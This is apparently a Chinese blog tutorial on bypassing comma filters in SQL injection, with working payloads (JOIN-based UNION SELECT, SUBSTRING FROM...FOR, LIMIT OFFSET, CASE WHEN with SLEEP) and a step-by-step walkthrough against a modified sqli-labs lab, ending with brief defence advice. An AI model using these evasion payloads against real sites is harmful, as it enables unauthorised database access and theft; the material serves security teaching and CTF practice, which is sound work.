当前位置: 首页 > news >正文

深入浅出:SQL注入中的逗号绕过技巧剖析

文章目录

  • 引言
  • 为什么逗号如此重要
  • 逗号绕过技巧详解
  • 实战演练
  • 防御之道:如何防止注入者绕过逗号

引言

假设你在进行授权渗透测试,发现一个潜在的SQL注入点,但在你使用UNION SELECT 1,2,3时,发现返回错误。经过测试,你发现网站的安全防护(WAF)或代码本身过滤了逗号。这时,攻击是否就无法进行了呢?

当然不是!本文将带你深入了解几种在无法使用逗号的情况下,依然能成功进行SQL注入的高级技巧

无论你是安全研究员、开发人员还是CTF爱好者,理解这些绕过技术都将帮助你更好地理解SQL的灵活性和安全防护的盲点


为什么逗号如此重要

在深入探讨如何“绕过”逗号之前,我们首先必须理解为什么它值得我们大费周章地去绕过。在SQL语法中,逗号(,)扮演着分隔符的核心角色,它就像是SQL语句中的“交通枢纽”,负责将不同的元素清晰、有序地分隔开来。一旦这个枢纽被关闭,许多传统的SQL注入Payload将寸步难行

让我们回顾一下在常规SQL注入攻击中,逗号在哪些关键环节不可或缺:

  1. UNION联合查询 - 字段分隔
  • 经典Payload:

    UNION SELECT 1,2,3,4,5--+
    
  • 作用分析:

    • 这里的逗号用于分隔多个字段(列),1,2,3,4,5 代表了五个虚拟的列

    • 攻击者首先需要确定原始查询的列数,然后通过 UNION SELECT 在显错位(例如第2、3列)上替换为想要查询的数据,如:

      UNION SELECT 1, 2, database(), 4, 5 --+
      
  • 如果没有逗号UNION SELECT 12345 是一个完全不同的查询,它只返回一列数据,无法与原始查询(通常是多列)匹配,导致语法错误,攻击也就无法继续进行

  1. 函数参数 - 参数分隔

SQL内置了大量函数,其中许多都需要多个参数,而逗号是分隔这些参数的标准符号

  • 字符串截取:

    • substring(string,start,length)
    • 示例substring((SELECT database()), 1, 1) - 从数据库名中提取第1个字符
    • 这里的逗号分隔了三个参数:要操作的字符串、起始位置和截取长度。这在盲注报错注入中逐位猜解数据时至关重要
  • 数据聚合

    • concat(str1,str2, ...)
    • 示例concat(username, ':', password) - 将用户名和密码用冒号连接,便于一次性查询出来

这些都是注入中常用的函数,我们可以清晰地看到,逗号是构造复杂、精确SQL注入Payload的“骨架”和“胶水”。它贯穿了确定数据结构(UNION)、操作数据内容(函数) 等所有关键攻击步骤。因此,当WAF或代码过滤器将逗号列入黑名单时,攻击者的主要攻击路径就被一举切断



逗号绕过技巧详解

当逗号这个"万能胶水"被过滤时,真正的黑客思维就开始发挥作用了。我们需要深入挖掘SQL语法的宝藏,寻找那些功能相同但形式各异的替代方案。以下是几种经过实战检验的经典绕过技巧


技巧一:使用 JOIN 绕过 UNION SELECT 中的逗号

这是最常用、最有效的绕过方法之一,专门对付需要多字段联合查询的场景

  • 攻击场景UNION SELECT 注入时,逗号被过滤,无法使用 UNION SELECT 1,2,3

  • 绕过原理: 利用 SQL 的 JOIN 操作符将多个单列子查询横向连接,形成一个多列的结果集

  • 传统Payload

    UNION SELECT 1,2,3,4
    
  • 绕过Payload:

    UNION SELECT * FROM ((SELECT 1) AS a join (SELECT 2) AS b join (SELECT 3) AS c)
    
  • 详细拆解

    1. (SELECT 1) AS a:创建一个别名为 a 的子查询,返回单列单行,值为 1
    2. join (SELECT 2) AS b:将子查询 b (值为 2) 与 a 进行 join(链接),由于没有 on 条件,这会产生一个笛卡尔积,但由于两边都只有一行,结果就是一行两列 (1, 2)
    3. 继续 join 子查询 cd,最终形成一行三列 (1, 2, 3, 4)
    4. 最外层的 SELECT * 会选取这个连接后表的所有列
  • 实战要点

    • 在某些数据库(如旧版MySQL)中,可能需要省略 as 关键字:... (SELECT 1) a JOIN ...
    • 这个方法可以扩展到任意数量的列,只需继续 join 新的子查询即可


我们来深入剖析 JOIN 绕过 UNION SELECT 中逗号 的原理

  1. UNION 操作的根本要求

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。它有一个铁律:每个 SELECT 语句必须拥有相同数量的列,并且列的数据类型也必须相似,这个应该都清楚

所以,我们的目标是:在不使用逗号的情况下,构造一个多列的结果集

  1. JOIN 操作的本质

join 用于根据相关列将两个或多个表的行连接起来。最常见的 inner joinjoin(默认是 inner join)会返回满足连接条件的行的组合

当我们对两个单行单列的查询结果进行 JOIN,并且不指定任何连接条件时,会发生什么?

在这里插入图片描述

执行 a join b(无 on 条件)会产生笛卡尔积。由于A只有1行,B也只有1行,结果就是 1行2列: [1,2]

这,就是我们绕过逗号的基石

既然两个表可以链接起来,那么三个表不也可以
在这里插入图片描述


查询结果有没有看着很熟悉,我换种查询方式就知道了
在这里插入图片描述


同样的查询结果,不同的查询方式,唯一不同的就是用 join 不需要 ,

完善一下查询语句,注入语句就出来了
在这里插入图片描述


注入语句:

union select * from (select 1) as a join (select 2) as b join (select 3) as c

注:不同数据库(如PostgreSQL、SQL Server)的 JOIN 语法可能略有差异



join绕过方式是最常用的方式,但不是唯一的,也可以用其他的方法

例如:(因篇幅原因,下面讲的方法就不深入刨析了)

技巧二:使用 FROM ... FOR ... 语法绕过函数参数中的逗号

这个技巧极其优雅,它利用了字符串函数的另一种标准语法形式

  • 攻击场景: 在 SUBSTRINGMID 等函数中,逗号被过滤,无法指定起始位置和长度

  • 绕过原理: SQL标准定义了 SUBSTRING(string FROM start FOR length) 这种语法,它与 SUBSTRING(string, start, length) 完全等效

  • 传统Payload

    SUBSTRING((SELECT database()), 1, 1)
    
  • 绕过Payload

    SUBSTRING((SELECT database()) FROM 1 FOR 1)
    
  • 详细拆解

    • FROM 1:取代了第二个参数,表示起始位置
    • FOR 1:取代了第三个参数,表示要截取的长度
    • 整个表达式的含义依然是:“从数据库名称字符串的第1个字符开始,截取1个字符的长度”
  • 实战要点

  • 这种方法在 MySQLPostgreSQL 等主流数据库中均被支持,通用性很强

  • 它是盲注中逐位提取数据的"神器"



技巧三:使用 LIMIT ... OFFSET ... 关键字

这是一个"直球"解决方案,用等价的另一个语法直接替换

  • 攻击场景: 在 LIMIT 子句中,逗号被过滤,无法使用 LIMIT 0,1

  • 绕过原理LIMIT 子句支持使用 OFFSET 关键字来明确指定偏移量

  • 传统Payload

    LIMIT 0,1
    
  • 绕过Payload

    LIMIT 1 OFFSET 0
    
  • 详细拆解

    • LIMIT 1:指定返回的行数
    • OFFSET 0:指定跳过的行数
    • 组合起来就是:“跳过0行,返回接下来的1行”,与 LIMIT 0,1 效果完全相同
  • 实战要点

    • 这是最直接、最可靠的绕过 LIMIT 中逗号的方法
    • 注意语法的顺序,必须是 LIMIT [行数] OFFSET [偏移量]


技巧四:利用 CASE WHEN ... THEN ... END 条件语句

这个技巧非常强大,尤其在盲注中,它提供了强大的条件判断能力,可以模拟 IF 函数和 SUBSTRING 的功能

  • 攻击场景: 在布尔盲注或时间盲注中,逗号被过滤,无法使用 IFSUBSTRING 函数

  • 绕过原理CASE WHEN 语句本身不依赖逗号,并且可以通过嵌套子查询来实现复杂的逻辑判断

  • 传统时间盲注Payload

    IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)
    
  • 绕过Payload(结合技巧二)

    CASE WHEN (SELECT MID((SELECT database()) FROM 1 FOR 1))='a' THEN SLEEP(5) ELSE 0 END
    
  • 详细拆解

    1. (SELECT MID((SELECT database()) FROM 1 FOR 1)):一个无逗号的子查询,用于获取数据库名的第一个字符
    2. CASE WHEN ... ='a':判断这个字符是否等于 'a'
    3. THEN SLEEP(5):如果条件为真,则执行 SLEEP(5)
    4. ELSE 0:如果条件为假,则返回 0
    5. END:结束 CASE 语句
  • 实战要点

    • CASE WHEN 语句非常灵活,可以用于布尔盲注(通过页面真假反应)和时间盲注(通过延迟)
    • 可以嵌套多个 WHEN ... THEN 子句来处理更复杂的逻辑

来用一张表来总结一下吧

攻击场景被过滤的语法绕过技巧核心Payload示例
UNION查询UNION SELECT 1,2,3JOIN 连接UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b ...)
字符串截取SUBSTR(str,1,1)FROM ... FOR 语法SUBSTR(str FROM 1 FOR 1)
结果集限制LIMIT 0,1LIMIT OFFSET 语法LIMIT 1 OFFSET 0
条件盲注IF(cond, true_val, false_val)CASE WHEN 语句CASE WHEN (cond) THEN true_val ELSE false_val END


实战演练

环境设置: 本示例为 sqli-labs 25(魔改版)
在这里插入图片描述

因为原sql-labs没有合适的,绕过的题,所以我把 sqli-labs 25 的源码改了一下
在这里插入图片描述
加了一条命令,使题目可以过滤,

$id= preg_replace('/,/',"", $id);           //Strip out ,

构建注入点
在这里插入图片描述

?id=1

'判断闭合方式,通过报错发现多了个',即此题为'闭合
在这里插入图片描述

?id=1'

注释后面的语句,防止报错
在这里插入图片描述

?id=1' --+

查询显示位,发现,被过滤掉了

在这里插入图片描述

?id=1' group by 1,2,3 --+

用今天所学的join绕过

将注入语句套上去即可

union select * from (select 1) as a join (select 2) as b join (select 3) as c

在这里插入图片描述

?id=1' union select * from (select 1) as a join (select 2) as b join (select 3) as c --+

通过加减join链接的表即可判断列数,例如:
在这里插入图片描述
这就表示列数不同

?id=1' union select * from (select 1) as a join (select 2) as b join (select 3) as c join (select 4)as d--+

将前面查询的id改为不存在的即会将显示位显示出来
在这里插入图片描述

?id=-1' union select * from (select 1) as a join (select 2) as b join (select 3) as c--+

查询数据库

在这里插入图片描述

?id=-1' union select * from (select 1) as a join (select database()) as b join (select 3) as c--+

查询当前数据库中的表
在这里插入图片描述

?id=-1' union select * from (select 1) as a join (select database()) as b join (select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()) as c--+

注:因为此题有or过滤,所以information_schema里的or要复写绕过为infoorrmation_schema

因篇幅原因,后面的注入语句就不展现了,不会的可以看字符型注入,里面有详细示例



防御之道:如何防止注入者绕过逗号

  1. 首选使用参数化查询(Prepared Statements)。这是根本的解决方案,能从原理上防止SQL注入
  2. 次选如果必须拼接SQL,请使用严格的输入验证和白名单机制。不要依赖黑名单过滤逗号等字符
  3. 最小权限原则: 数据库连接账户应遵循最小权限原则,避免使用高权限账户
  4. 使用Web应用防火墙(WAF)的行为检测,而不仅仅是字符过滤
  5. 对SQL错误信息进行统一处理,避免信息泄露
http://www.dtcms.com/a/500098.html

相关文章:

  • (Kotlin高级特性四)kotlin属性委托(如 by lazy) 的原理?
  • 网站美术视觉效果布局设计在线服务平台的跨境电商有哪些
  • k8s(七)pod的配置资源管理
  • 做软件跟网站哪个难沭阳找做网站合伙
  • 智元灵犀X1开源分析-通讯架构
  • 5.1元挂逼VPSW
  • 旅游电子商务网站建设长春做网站wang
  • 智能语义搜索核心算法:全链路技术解析与工程实践,将rag向量检索准确率提升到98%以上……
  • 2025基于springboot的校车预定全流程管理系统
  • 学网站建设需要下载什么太平保险网站
  • 封面型网站首页怎么做做吃穿住行网站
  • macos安装、更新、使用homebrew
  • Vue3+Three.js:第06期 实现立方体旋转动画
  • tp做的网站封装成app网络服务提供者知道或者应当知道网络
  • 江苏城乡建设职业学院网站小程序代码怎么写
  • Web3入门:从MetaMask到Gas机制全解析
  • 区块链技术的五大应用场景
  • 做创意ppt网站店面设计图
  • 登陆建设银行wap网站做网站自己申请域名还是建站公司
  • 《算法通关指南---C++编程篇(3)》
  • MySQL——桥梁JDBC
  • 不在百度做推广他会把你的网站排名弄掉有哪些网络平台
  • 基于ADAMS的汽车悬架静态工作载荷提取
  • 提交网站通过命令上传wordpress
  • 龙岩有什么公司无锡seo公司网站
  • Make命令和makefile工程管理
  • 【CMAQ 模型第二期】运行 CMAQ 基准测试(Benchmark Case)
  • 小新pro更改网站设置不在百度做推广他会把你的网站排名弄掉
  • 四川做网站设计哪家好怎么封闭网站
  • 网站重建小微企业利润大于300万